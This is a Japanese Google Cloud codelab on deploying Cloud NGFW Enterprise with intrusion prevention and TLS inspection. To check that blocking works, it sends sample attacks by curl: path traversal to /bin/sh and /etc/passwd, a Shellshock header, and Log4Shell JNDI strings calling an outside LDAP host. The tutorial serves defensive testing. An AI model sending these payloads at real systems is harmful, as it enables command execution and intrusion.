1. はじめに
Cloud Next Generation Firewall(NGFW)
Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。
Cloud NGFW には次の利点があります。
- 分散ファイアウォール サービス: Cloud NGFW では、各ワークロードに完全に分散されたステートフルなホストベースの適用が可能で、ゼロトラスト セキュリティ アーキテクチャを実現できます。
- 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
- きめ細かい制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせて、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を 1 つの VM に至るまできめ細かく制御できます。
Cloud NGFW は次の階層で使用できます。
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise は、レイヤ 7 の検査サービスである侵入防止サービス(IPS)と、オプションの高度なマルウェア サンドボックス(WildFire)機能を分散型の Google Cloud Firewall ファブリックに追加します。TLS インスペクションがサポートされており、TLS 暗号化トラフィックの詳細な検査とファイル分析が可能です。
ネットワーク アーキテクチャやルーティング構成を変更することなく、きめ細かい制御が可能な信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)検査をデプロイできるようになりました。
IPS とオプションの高度なマルウェア サンドボックスを使用してレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを実行する必要があります。
- Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します(必要に応じて高度なマルウェア サンドボックスを有効にします)。
- 必要に応じて、TLS インスペクション ポリシーを作成します。
- 必要に応じて、信頼構成を作成します。
- これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
- 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスに脅威防止とオプションの高度なマルウェア サンドボックス セキュリティ プロファイルを指定します。
ネットワーク ファイアウォール ポリシー
ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまでどこにも適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーでは、ファイアウォール ルール内で、IAM で管理されるタグ(以降、単に「タグ」)を使用できます。これは現在のネットワーク タグに代わるもので、ワークロードに ID を提供するために使用できます。
ネットワーク ファイアウォール ポリシーを複数のネットワークで共有し、IAM で管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。
ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。
- 階層型ファイアウォール ポリシー
- VPC ファイアウォール ルール
- ネットワーク ファイアウォール ポリシー(グローバルとリージョン)
階層型ファイアウォール ポリシーは、リソース階層内の組織ノードとフォルダノードでサポートされます。一方、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは単一の VPC ネットワークにしか適用できないのに対し、ネットワーク ファイアウォール ポリシーは単一の VPC または VPC のグループにアタッチできることです。その他にも、バッチ アップデートなどのメリットがあります。
最後に、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールもあります。
- アクションが Allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
- アクションが Deny、送信元が 0.0.0.0/0
デフォルトでは、適用シーケンスは次の図のようになります。

VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。gcloud コマンドを使用して、いつでも適用順序を指定できます。
タグ
ネットワーク ファイアウォール ポリシー ルールに統合された新しいタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義される Key-Value ペアのリソースです。このようなタグには、タグに対して誰が何を行えるかを指定する IAM アクセス制御が含まれています。たとえば、Identity and Access Management(IAM)権限では、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。ネットワーク ファイアウォール ルールがタグを参照している場合、適用するには、そのタグをリソースに適用する必要があります。
タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体に伝わっていきます。したがって、ある場所で作成されたタグが、リソース階層全体で他のフォルダやプロジェクトで使用される可能性があります。タグとアクセス制限の詳細については、こちらのページをご覧ください。
タグをネットワーク タグと混同しないでください。後者は Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスがデコミッションされると消滅します。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、ネットワーク タグはクラウド リソースとはみなされないため、IAM アクセス制御の対象となはりません。
このドキュメントでは、タグと IAM 管理タグを同じ意味で使用しています。
作成するアプリの概要
この Codelab では、単一のプロジェクトと、VPC ネットワークを作成する機能、および多数のネットワーク リソースとセキュリティ リソースを管理する機能が必要です。このデモでは、Cloud NGFW Enterprise が IPS と高度なマルウェア サンドボックス(WildFire)の機能をどのように提供できるかを示します。
- TLS インスペクションによるノースバウンド インターネット フローの検査
- TLS インスペクションを使用した VPC 内フロー [East-West] の検査
- [省略可] TLS 検査済みトラフィックを介した不明なファイルベースの脅威に対する高度なマルウェア サンドボックスのファイル送信とフォレンジックの構成と検証
検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)やタグなどの Cloud Firewall の一致パラメータを使用して選択されます。

ネットワーク ファイアウォール ポリシー ルールベースの最終的な状態は、次の表のようになります。
優先度 | 方向 | ターゲット | ソース | 移行先 | 操作 | 型 |
100 | Ingress | Server_Tag | ヘルスチェック | すべて | 許可 | Essentials |
200 | Ingress | Client_Tag、Server_Tag | IAP | すべて | 許可 | Essentials |
800 | Ingress | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | L7 インスペクション | Enterprise |
850 | Egress | Client_Tag | すべて | 10.0.0.0/24 | 許可 | Essentials |
900 | Egress | Client_Tag | すべて | すべて | L7 インスペクション | Enterprise |
学習内容
- ネットワーク ファイアウォール ポリシーを作成する方法。
- ネットワーク ファイアウォール ポリシーでタグを作成して使用する方法。
- TLS インスペクションを使用して Cloud NGFW Enterprise を構成して使用する方法。
- [省略可] 未知のファイルベースの脅威に対して高度なマルウェア サンドボックス(WildFire)を構成して検証する方法。
必要なもの
- Google Cloud プロジェクト。
- インスタンスのデプロイとネットワーク コンポーネントの構成に関する知識。
- VPC ファイアウォールの構成に関する知識。
2. 始める前に
変数を作成または更新する
この Codelab では、Cloud Shell での gcloud 構成の実装を支援するために $variables を使用します。
Cloud Shell で、次のコマンドを実行します。必要に応じて、角かっこ内の情報を置き換えてください。
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. API を有効にする
まだ有効にしていない場合は、API を有効にします。
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise エンドポイントの作成
Cloud NGFW Enterprise エンドポイントの作成には約 20 分かかるため、最初に作成します。エンドポイントの作成中に、ベースの設定を並行して行うことができます。
セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
予想される出力:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
リソースが正常に作成されたことを確認します。
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
想定される出力(出力形式は使用するクライアントによって異なる場合があります)。
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise エンドポイントを作成します。
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
次のコマンドを実行して、エンドポイントが作成中(CREATING)であることを確認します。--no-async を使用した場合は、ACTIVE であることを確認します。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
想定される出力(出力形式は使用するクライアントによって異なる場合があります):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
作成プロセスには約 20 分かかります。「基本設定」セクションに進み、必要なリソースを並行して作成します。
5. 基本設定
VPC ネットワークとサブネット
VPC ネットワークとサブネット
VPC ネットワークとサブネットを作成します。
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router と Cloud NAT ゲートウェイを作成します。
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
インスタンス
クライアント インスタンスとウェブサーバー インスタンスを作成します。
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
プロジェクト レベルのタグ
必要に応じて、ユーザーに tagAdmin 権限を割り当てます。
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
プロジェクト レベルのタグキーと値を作成します。
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
タグをインスタンスにバインドします。
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
グローバル ネットワーク ファイアウォール ポリシー
グローバル ネットワーク ファイアウォール ポリシーを作成します。
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
必要な Cloud Firewall Essentials ルールを作成して、ヘルスチェック範囲と Identity-Aware Proxy 範囲からのトラフィックを許可します。
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
特定の範囲からの上り(内向き)東西 / サブネット内トラフィックを許可するために必要な Cloud Firewall ルールを作成します(これらのルールは、TLS インスペクションを有効にした Cloud NGFW Enterprise を有効にするために更新されます)。
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Cloud Firewall エンドポイントの関連付け
環境変数を定義します(まだ定義していない場合、またはスクリプトによる方法を希望する場合)。
Cloud Firewall エンドポイントの作成が正常に完了したことを確認します。状態が ACTIVE と表示された場合にのみ続行します(作成中は、想定される状態は CREATING です)。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
想定される出力(出力形式は使用するクライアントによって異なる場合があります):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud Firewall エンドポイントを VPC ネットワークに関連付けます。
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
関連付けプロセスには 10 分ほどかかります。状態が ACTIVE と表示された場合にのみ、TLS セクションに進みます(作成中は、想定される状態は CREATING です)。
gcloud network-security firewall-endpoint-associations list
完了時に想定される出力:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
予想される出力:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. TLS リソースを構成する
CA プールを作成します。このリソースは、NGFW Enterprise 用に生成するルート CA 証明書を格納するために使用されます。
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加証明書の署名に使用される CA 証明書です。
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
次のメッセージが表示されたら、「y」と入力します。
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
サービス アカウントの IAM 権限を設定します。
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
TLS ポリシー YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれます。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
TLS インスペクション ポリシーをインポートします。
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
エンドポイントの関連付けを更新して TLS を有効にします。
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
CA 証明書を取得して、クライアントの CA ストアに追加します。
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
CA 証明書をクライアントに転送します。
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
VM に SSH 接続し、CA 証明書を /usr/local/share/ca-certificates に移動して、CA ストアを更新します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Cloud Shell に戻ります。
サーバー証明書の署名プロセス:
Cloud Shell で、pip コマンドを使用して Pyca 暗号ライブラリをインストールします。
pip install --user "cryptography>=2.2.0"
Google Cloud SDK で Pyca 暗号ライブラリを使用できるようにするには、サイト パッケージを有効にする必要があります。
export CLOUDSDK_PYTHON_SITEPACKAGES=1
サーバー証明書を作成します。
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
これにより、Cloud Shell に cert.pem ファイルと key.pem ファイルが生成されます。次に、証明書と鍵をサーバーに転送します。
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
サーバーに SSH 接続して、Apache の証明書の詳細を更新します。
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
証明書と鍵を特定のフォルダに移動します。
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
署名付き証明書を使用するように SSL 構成を更新します。
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache を再起動します。
sudo systemctl restart apache2
Apache のステータスを確認します。
sudo systemctl status apache2
アクティブ(実行中)になっているはずです。
VM を終了し、Cloud Shell で続行します。
8. ノースバウンド接続と E/W 接続を検証する
Cloud Shell で次のコマンドを実行し、使用するターゲット IP をメモします。
gcloud compute instances list --filter="name=($prefix-$zone-www)"
新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を定義する必要があります)。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
以下のコマンドを実行し、使用するターゲット IP をメモします。括弧内の値を前の手順でメモした IP に置き換えて変数を作成し、それらにアクセスできることを確認します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
プライベート IP を curl して、到達可能であることを確認します。
curl https://$target_privateip --max-time 2
curl リクエストで想定される結果:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
IP にサンプル攻撃を送信します。ウェブサーバーはすべてのリクエストに応答し、L7 の検査 / 予防が実施されていないことを確認する必要があります。
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
期待される結果の例(プライベート IP):
400 404 400 200 200
同様に、インターネットの宛先にリクエストを送信します。
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
想定される結果の例(インターネット宛先):
400 404 400 403 403
VM ターミナルを終了して、Cloud Shell に戻ります。
9. TLS インスペクション用のファイアウォール ルールを作成して更新する
以前に、内部サブネットからサーバーへの内向きトラフィックを許可するファイアウォール ルールを構成しました。次に、既存の上り(内向き)ルールを更新し、アクションを apply_security_profile_group に設定します。これにより、TLS を使用した E/W L7 インスペクションが有効になります。
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
TLS を使用してノースバウンド L7 インスペクションを検査する新しいルールを作成します。
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
二重検査を防止するために、E/W の EGRESS を許可する新しいルールを作成します。
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. ノースバウンド TLS インスペクションの検証
クライアント VM タブに戻るか、再度接続します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サンプル攻撃をインターネット宛先に送信します。
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
以下の想定される出力のとおり、レスポンスは受信されません。これは、サンプルの攻撃がブロックされていることを示しています。
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
変数を以前のサーバー IP に設定します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
サンプル TLS リクエストをサーバーに送信します。
curl https://$target_privateip --max-time 2
予想される出力:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
このリクエストが失敗したのはなぜですか?これは、ファイアウォールが信頼できないサーバーから証明書を受信しているためです。この場合、自己署名証明書がクライアントに返されます。信頼を有効にするには、信頼構成の一部として CA 証明書を追加する必要があります。
Cloud Shell に戻ります。
11. 信頼構成を構成する
ルート CA 証明書を取得し、適切な形式で変数として設定します。
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
信頼構成 YAML ファイルを構成します。このファイルには、CA 証明書などの信頼の詳細が含まれています。
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
上記のコマンドでは、サーバー証明書がルート CA を使用して署名されているため、ルート CA 証明書がトラストストアの一部として含まれていました。つまり、ファイアウォールは、ルート CA によって署名された受信証明書を信頼します。また、TLS ポリシーで excludePublicCaSet が false に設定されている場合は、パブリック CA も信頼します。
信頼構成の内容を確認します。
cat trust_config.yaml
出力例:
証明書のインデントの配置に細心の注意を払ってください。この形式に正確に従う必要があります。
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
信頼構成をインポートします。
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
信頼構成を含むように TLS ポリシー YAML ファイルを更新します。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
更新した TLS ポリシーをインポートします。
